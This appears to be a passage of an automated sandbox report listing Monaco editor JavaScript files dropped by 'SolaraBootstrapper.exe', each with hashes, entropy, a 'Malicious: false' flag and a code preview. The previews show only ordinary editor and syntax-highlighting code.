SSDEEP:	1536:kuTrGk9g+mZRjk3f7rsPPnD39yKqaGL52So2tG2:kCQA3UPPnDboF
MD5:	0B85DFFC548CCE9F63EC3131A065DBB7
SHA1:	C48FED5485D2410901282F7A27CF674A1D5E7D97
SHA-256:	6F33C33A4EFE691E75008435430C80BD76F8B88726F69E4C22582A16D6A4A135
SHA-512:	D471BBD73FA6390A28218A9826C1BF990DEF1ADCFA1917086261AF77D04355009AA66545AC6B77E58F3A93A5C18DA258E1555842FCF205B768BAA45401FA2B5A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/json/jsonWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var lt=Object.defineProperty;var Hr=Object.getOwnPropertyDescriptor;var Gr=Object.getOwnPropertyNames;var Xr=Object.prototype.hasOwnProperty;var Zr=(t,r)=>{for(var i in r)lt(t,i,{get:r[i],enumerable:!0})},Qr=(t,r,i,e)=>{if(r&&typeof r=="object"\|\|typeof r=="function")for(let n of Gr(r))!Xr.call(t,n)&&n!==i&&lt(t,n,{get:()=>r[n],enumerable:!(e=Hr(r,n))\|\|e.enumerable});return t};var Yr=t=>Qr(lt({},"__esModule",{value:!0}),t);var _n={};Zr(_n,{JSONWorker:()=>st,create:()=>Bn});function Pe(t,r){r===void

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\typescript\tsMode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9629)
Category:	dropped
Size (bytes):	23674
Entropy (8bit):	5.285703965037481
Encrypted:	false
SSDEEP:	384:GPWM9xPrt4cS7Z/45e+tbxGw5gcD/Hpx2+MnOgxoiZI0ySrwrHr8VjnBFHfyMV9g:mWM9xPrt4cS7Z/45e+tHJ/Hqny+yrHII
MD5:	0B9FC31A9418E3B934A5605621434A9B
SHA1:	CC6A27B9C97B78F4B0A68433828756A8AAAC87B4
SHA-256:	6404114A7EBDAF7F7F1ACA882219FD6CE140B20675003C6BBCE48154BA378053
SHA-512:	F57B78C961AAE9E36D128A0FB89060F5297D9675972EA83E0E2D089E0D114BA1BEE086695EB8ACC4244EE3D5AABCDD84FEDB0CDE831A2CCD0F789A83B57E1D6F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/typescript/tsMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var ee=Object.create;var I=Object.defineProperty;var te=Object.getOwnPropertyDescriptor;var ie=Object.getOwnPropertyNames;var re=Object.getPrototypeOf,se=Object.prototype.hasOwnProperty;var ne=(s,e,t)=>e in s?I(s,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):s[e]=t;var $=(s=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(s,{get:(e,t)=>(typeof require!="undefined"?require:e)[t]}):s)(function(s){if(typeof require!="undefined")return require.apply(this,arguments);th

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\typescript\tsWorker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (19820)
Category:	dropped
Size (bytes):	4602226
Entropy (8bit):	5.442770071598513
Encrypted:	false
SSDEEP:	49152:fIxqCQX8aby5XNtwJnnOidxPqmuCGCI22F6qWBxzpBYJvmFYH2ydMeplh/Av3qBv:gxqCW8MjPqw0R
MD5:	BFDDF2CF657E191A9899AA9EC2CCECD5
SHA1:	9083345F041A4DFE01A1D800C9D2C34460D4BC1F
SHA-256:	CA6E2BDB4F8DD9A39E2B9EA3336AB98B3B46DF5803053BA658DB3E862CEB18B0
SHA-512:	AB186ED59B7F9647875F3418782334178BC212A4B1177921D7951E740DBB888766202339B4BC8F592784C71AC130381BA9D3AD3B37BB7BC888E29B323742CC26
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/typescript/tsWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var rae=Object.defineProperty;var hit=Object.getOwnPropertyDescriptor;var git=Object.getOwnPropertyNames;var yit=Object.prototype.hasOwnProperty;var hke=(lp,ti)=>{for(var gt in ti)rae(lp,gt,{get:ti[gt],enumerable:!0})},vit=(lp,ti,gt,hs)=>{if(ti&&typeof ti=="object"\|\|typeof ti=="function")for(let Mo of git(ti))!yit.call(lp,Mo)&&Mo!==gt&&rae(lp,Mo,{get:()=>ti[Mo],enumerable:!(hs=hit(ti,Mo))\|\|hs.enumerable});return lp};var bit=lp=>vit(rae({},"__esModule",{value:!0}),lp);var kit={};hke(kit,{TypeScr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\loader.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11118)
Category:	dropped
Size (bytes):	30051
Entropy (8bit):	5.29773768316631
Encrypted:	false
SSDEEP:	768:mmJlCRErW8SKOdbD1dbftEDRalnTQIAZHQAn+9OtNvTQ2knuKn6GB1oZmbCJoV1Q:Vw/8chlTxN6emORWd3
MD5:	C5FA9066F8224F11B43AA4308668EB94
SHA1:	01A7D50BF8467937DD2AFEB39E061439472BB4E1
SHA-256:	EFFAB18AFBB4297A23D9D98BE95672E4088C735A0677993C329CF29B48914AED
SHA-512:	07EC139827E1684C54E109F9D592BE7281DB97ABB59558332D2801A59022AAE9C18BFD746CB58865F31FEA2501CC5FC6B9DF671347C2C661502385FF31F362F7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/const _amdLoaderGlobal=this,_commonjsGlobal=typeof global=="object"?global:{};var AMDLoader;(function(u){u.global=_amdLoaderGlobal;class y{get isWindows(){return this._detect(),this._isWindows}get isNode(){return this._detect(),this._isNode}get isElectronRenderer(){return this._detect(),this._isElectronRenderer}get isWebWorker(){return this._detect(),this._isWebWorker}get isElectronNodeIntegrationWebWorker(){return this._detect(),this._isElectronNodeIntegrationWebWorker}constructor(){this._detected=!1,this._isWindows=!1,this._isNode=!1,this._isElectronRenderer=!1,this._isWebWorker=!1,this._isElectronNodeIntegrationWebWorker=!1}_detect()

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\base\worker\workermain.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1024)
Category:	dropped
Size (bytes):	153173
Entropy (8bit):	5.34638278499734
Encrypted:	false
SSDEEP:	1536:XNSxrkwnz+dTHHfvYYdBwDZ2Ogvh52xgh2hQXIvTBaB7hU74Yc6aphU1PblosJEl:XzdTagJkb+6jFlJJEt9yjjTCD2zw
MD5:	27EAD90C7702154755785E0E53398755
SHA1:	86B59485FE6F6CCB1805183FA75062A2AC1C859E
SHA-256:	BDF9433692A08851E13DD58504EEF19F51BD2EC7241923A68EDF5772E0E53AF5
SHA-512:	6829681575179C90BB7817B17FEEE60E7D44D8ABB15264AB39D7F0EDF95DD1D030B99C12B005C753CD786C26CE6F17FF09B058C16F3363596F785E386EF78E82
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.(function(){.var e=["exports","require","vs/editor/common/core/position","vs/base/common/winjs.base","vs/base/common/errors","vs/base/common/platform","vs/base/common/uri","vs/editor/common/core/range","vs/editor/common/core/uint","vs/base/common/event","vs/base/common/lifecycle","vs/base/common/cancellation","vs/base/common/functional","vs/base/common/diff/diff","vs/base/common/async","vs/base/common/map","vs/base/common/strings","vs/editor/common/model/mirrorTextModel","vs/base/common/linkedList","vs/base/common/keyCodes","vs/editor/common/core/selection","vs/editor/common/core/token","vs/base/common/diff/diffChange","vs/editor/common/core/char

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\bat\bat.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1818)
Category:	dropped
Size (bytes):	2225
Entropy (8bit):	5.391520648341645
Encrypted:	false
SSDEEP:	48:hFDMgRs/i4+GK5w0V1+T01+BueGB3j4ly0/eX1HroHrb4rHK9mIP1HWm:hFDMgRsk/vV1+I1+oB3j4ly0/YNrarkO
MD5:	4CB475399C4490EEA41982DCD6D9653E
SHA1:	FC97D57206FF7FA1C89FF0FC9F6E2F04A20EA185
SHA-256:	9BCA42394FE8922FEC24B768EEB8CE04692DE6FAD82F9052D5B7E70F5C6B0F40
SHA-512:	27EEFE83CF38A7D784414D99B472F6FCD7E595691EB0F368254BA1F71AAF702840B62BF232C30C515A8FADA234699FEFEEF496C0C24669CC158CB567227E4783
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/bat/bat",["require","exports"],function(e,s){"use strict";Object.defineProperty(s,"__esModule",{value:!0}),s.conf={comments:{lineComment:"REM"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],folding:{markers:{start:new RegExp("^\\s(::\\s\|REM\\s+)#region"),end:new RegExp("^\\s(::\\s\|REM\\s+)#endregion")}}},s.language={defaultToken:"",ignoreCase:!0,tokenPostfix:".bat",brackets:[{tok

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\coffee\coffee.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3569)
Category:	dropped
Size (bytes):	3976
Entropy (8bit):	5.237312517263243
Encrypted:	false
SSDEEP:	96:hFDMgRspI0xqmV1+/0V1+/Lq1S8YLYGbSiv5vjmtMzkJgd+fcAr6fPlW:hZaqixziiihjmtykJbcAr6fc
MD5:	9D0C4AC1691EED0A480C3E9246490D29
SHA1:	38258864FD070C35CEC6B68715D58771DF9FE3E1
SHA-256:	E706C9F8E5C5A0CB01B2F4E4879EC34A050D6EB2A8840284EB7BADD9D78099F9
SHA-512:	437A703607A9F0CB96FFB56312D149B95F596290591D14098C36D978B2E1FDBA3C3712C9099923BC0A709C5C0EBD7EEA868F63DFBCC69CDF5A9325B8A67006B6
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/coffee/coffee",["require","exports"],function(e,r){"use strict";Object.defineProperty(r,"__esModule",{value:!0}),r.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#%\^\&\*\=\$\-\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{blockComment:["###","###"],lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],fo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\cpp\cpp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5095)
Category:	dropped
Size (bytes):	5502
Entropy (8bit):	5.170848003102142
Encrypted:	false
SSDEEP:	96:hFDMgRs/rbV1+gqVV1+/LVb9ZRC2seM6jjz13MwVcEghhb6Yw76wGcmvRBNIs:hZGrTOcVv5M61h8hSeiYL
MD5:	0A16509E6CD0155FB622E785CFE976C7
SHA1:	7AFA7F823191C43D7A4BDD7D91577495DE62C21A
SHA-256:	A7C2BEA7CA3D9E203A3A286735945FE010C8F4F8D46620386EE8BEFC6A78B32B
SHA-512:	2CBC48CB10C467561C6A84F59405E9C2F864640B3A21E6FE5CD14AD1A7CA5667B766B3C0511DF26F28205DD17338A878BD1164A4F5875235A73214F3E4AEB49D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/cpp/cpp",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"[",close:"]"},{open:"{",close:"}"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#pragma\\s+region\\b"),e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\csharp\csharp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4514)
Category:	dropped
Size (bytes):	4921
Entropy (8bit):	5.140618669527192
Encrypted:	false
SSDEEP:	96:hFDMgRsVx+rbV1+gqGV1+hmQuq1cBh8b7gj8/pLxb6J994wGcKU7dYIkI:hZi+rTtPsRXpw9SiKUJGI
MD5:	F8F841D13C9220E15DCD6BC386B37BA2
SHA1:	2B8B7003820D19ED83AFDE98C845DB5E3D5753F8
SHA-256:	6B3BE9A86EE8E3202F51745D94D24CC1EEFBCF7D9E6D94FBAF70146B084E835F
SHA-512:	0B167865B8D7847792C80144E83BDF33655DB6ECC0934BB3290F8B5793FEE8168AEAF9D74B3541A9424C4F180AAD496C2D8710E3847A5BF9D4B2C960DDEA4AE5
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/csharp/csharp",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\$\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",clos

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\csp\csp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1392)
Category:	dropped
Size (bytes):	1799
Entropy (8bit):	5.049655720842081
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3ymSh6pzPmbMjVS5u4334bdPRtZRXxFLMiqkvGbA:hFDMgRs/R06Veb64u43IbLRhFLYDbA
MD5:	22ADA25D590811DCFF4E5F5D698E583B
SHA1:	C43D4846967D5037EF05B102E49D1FBC54E45FBC
SHA-256:	4B5A5D7D50986B86B00833447E097C0F01A4388CE1765B48E7E371D06E3A4789
SHA-512:	C8373EA0B78114F82E8BF027473F72ADA0D8ACD51623152A0072111D8B3B7D5AC310A1CC510C4E4CD2E97A7686DB3C87B2DA675FC910898BD11108E4B50ED189
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/csp/csp",["require","exports"],function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={brackets:[],autoClosingPairs:[],surroundingPairs:[]},e.language={keywords:[],typeKeywords:[],tokenPostfix:".csp",operators:[],symbols:/[=><!~?:&\|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']\|x[0-9A-Fa-f]{1,4}\|u[0-9A-Fa-f]{4}\|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/child-src/,"string.quote"],[/connect-src/,"string.quote"],[/default-src/,"string.quote"],[/font-src/,"string.quote"],[/frame-src/,"string.quote"],[/img-src/,"string.quote"],[/manifest-src/,"stri

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\css\css.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4462)
Category:	dropped
Size (bytes):	4869
Entropy (8bit):	5.173250596089998
Encrypted:	false
SSDEEP:	96:hFDMgRsozIq+q17qcq6V1+/aMj1cqTroIrqjKf8O3lzXY0Jc:hZzzv9VmjoOf8O39XbJc
MD5:	49AD30F1151CFD7A74677FDC6DD13DA9
SHA1:	286D47F0A4CFA26DA2E4D1F1317A8C87000BB5FC
SHA-256:	BD331FD3BD2C37B0C3150035325F163AC9266BF6D942310764815E676D856D91
SHA-512:	7337706BFD5BD54938DA0FBA35E97F8E5780491C04B58D43FC6D905BD2DCA92897F1ED8D48E42665F166DA7684CC6E29A63AE73F8D3779A9FEB97C397A642F0D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/css/css",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|((::\|[@#.!:])?[\w-?]+%?)\|::\|[@#.!:]/g,comments:{blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\dockerfile\dockerfile.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1982)
Category:	dropped
Size (bytes):	2389
Entropy (8bit):	5.339380212705139
Encrypted:	false
SSDEEP:	48:hFDMgRs/L+v0V1+/n0V1+/JmM7LSKoemBjrBdOuWI5w3I58ud:hFDMgRsS8V1+/0V1+/HKhRry3EEE80
MD5:	E32DE981BDAF75E6FFB8FE40BC955A68
SHA1:	BEF1AF7B26EA01C987C7A6295BB7192D83A32068
SHA-256:	65B86FC54E9B35D6CB84F01DFB905680DBCAD6605757DE1D6BCA84E3029889AF
SHA-512:	A3EADD8C1389DFF6C2C6E595EFFF69BE3A573D01E4E16B8E4A8B28F63E4C48C9C439B5DD93666D81D703D1C6B5BF927CC8E47D04AF270128095F0D579407C2F4
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/dockerfile/dockerfile",["require","exports"],function(e,s){"use strict";Object.defineProperty(s,"__esModule",{value:!0}),s.conf={brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},s.language={defaultToken:"",tokenPostfix:".dockerfile",instructions:/FROM\|MAINTAINER\|RUN\|EXPOSE\|ENV\|ADD\|ARG\|VOLUME\|LABEL\|USER\|WORKDIR\|COPY\|CMD\|STOP

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\fsharp\fsharp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2924)
Category:	dropped
Size (bytes):	3331
Entropy (8bit):	5.199887618636656
Encrypted:	false
SSDEEP:	96:hFDMgRsTryV1+IV1+/PRdL4a5Ag7xwGGBdcl:hZ6rOjY7sgFaY
MD5:	DE122B3BC44A8714F386DC80282DCB12
SHA1:	06888A9B616993E9AF9797CEC64C6D419065F2CB
SHA-256:	1390079BABC117D3F376735780D98F409F317EB4628D17106642C6933EA1DA7F
SHA-512:	AB48F2E5BFA6EA0024530141BB5D35B9090EE0254A3E8F8B86FA36CC8C2FCA8000A3CAAFCFFFC1D83E21C488E1F1990C91F537290B54FBBCA1D3C7BE090DFBA5
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/fsharp/fsharp",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s//\\s#region\\b\|^\\s\$\\\\s#region(.)\\\$"),end:new RegExp("^\\s//\\s*#end

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\go\go.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2628)
Category:	dropped
Size (bytes):	3035
Entropy (8bit):	5.201275188030444
Encrypted:	false
SSDEEP:	48:hFDMgRs/T2K5rDQ0V1+CnWn600V1+j/goO6LKMAnJILi/3+vb6jxF6WwGcuVOOvp:hFDMgRs7rbV1+OK6V1+j/o6LKMAnuLfm
MD5:	5B4484C914CD97AFF4510B803F2517EF
SHA1:	8F275AC36C57C4C464E30F92F525FFBD0FD436C6
SHA-256:	46D1757C3CD3DBC3C7B465A338880144922A1C34C30E36F06FF2DB8C2FF75B86
SHA-512:	B34C64F9997F4B72760ECA270D2A0C2E22D83467D3F0BC82E7C0E63D62D8F9D74A144A28D676A223CDEFEF417AF723801AC0535375D0DD64BB3A81E87617FED0
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/go/go",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"`",close:"`",notIn:["string"]},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"`",close:"`"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.langu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\handlebars\handlebars.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (6121)
Category:	dropped
Size (bytes):	6528
Entropy (8bit):	5.291705997818562
Encrypted:	false
SSDEEP:	96:hFDMgRspITV1+/I/+B1BerJzlWK2BZwIBTIwbcdg6EHpf4Og6E8S6g6EB+FpAjE3:hZhbYbQRld2BZ1O0p4OE60+dMZLDs
MD5:	3CA7CF83292B56444548F2914C0E1811
SHA1:	4BE5B1ADAA187D82A94967E6960D811ACD700B93
SHA-256:	31D25588D120E7C79F3332FF3B3C794CEBD0554C7578E3BB37B3CAC366E4F6C2
SHA-512:	2D337B64DEF0D42F8BD6476CF31E806F67F77D26C95C68E75574FC310F7974852A810F8B197238559A2CB20D07914DE5844481477321CDCB2C68C47DA9088EB8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/handlebars/handlebars",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n="undefined"==typeof monaco?self.monaco:monaco,a=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["{{!--","--}}"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{{","}}"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\html\html.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4525)
Category:	dropped
Size (bytes):	4932
Entropy (8bit):	5.307991602842183
Encrypted:	false
SSDEEP:	96:hFDMgRsfInV1+/6mQVV1+HBwBRl0GSytHd6EHaK4T6Ef6EByyEhcKMgEQEJWf:hZLP+4+GLl0GSytHLaK4ccKM2
MD5:	630FA41F59A189AED68B4DB82559DE95
SHA1:	14A527D27240BA0EFFCFA43A5C46B9289E96B822
SHA-256:	C717AC0701D3B1E22DC52A0C53608214297E5FAB7BC7011CF4E964F2ECA9D62F
SHA-512:	E15C602788F13AFD1E19E5F82DE7A35EB9656950553BC3913205BA3E70DDF87199B7F9B358DB7B7704EFD3DC85029AD277692B6B84F5F549964B9DD7CCE1AD60
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/html/html",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n="undefined"==typeof monaco?self.monaco:monaco,i=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\ini\ini.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1074)
Category:	dropped
Size (bytes):	1481
Entropy (8bit):	5.244494288608599
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3Sm6bTK5e+emh0V1+/n0V1+/VDnVx7sMRLk6swZ:hFDMgRs/x2K5eu0V1+/n0V1+/FB60Z
MD5:	B9252B74381FE17565D494711F4C9093
SHA1:	9ED6A00A166C0B5ABDBB3EA45FA7DF3A5DEFC8EE
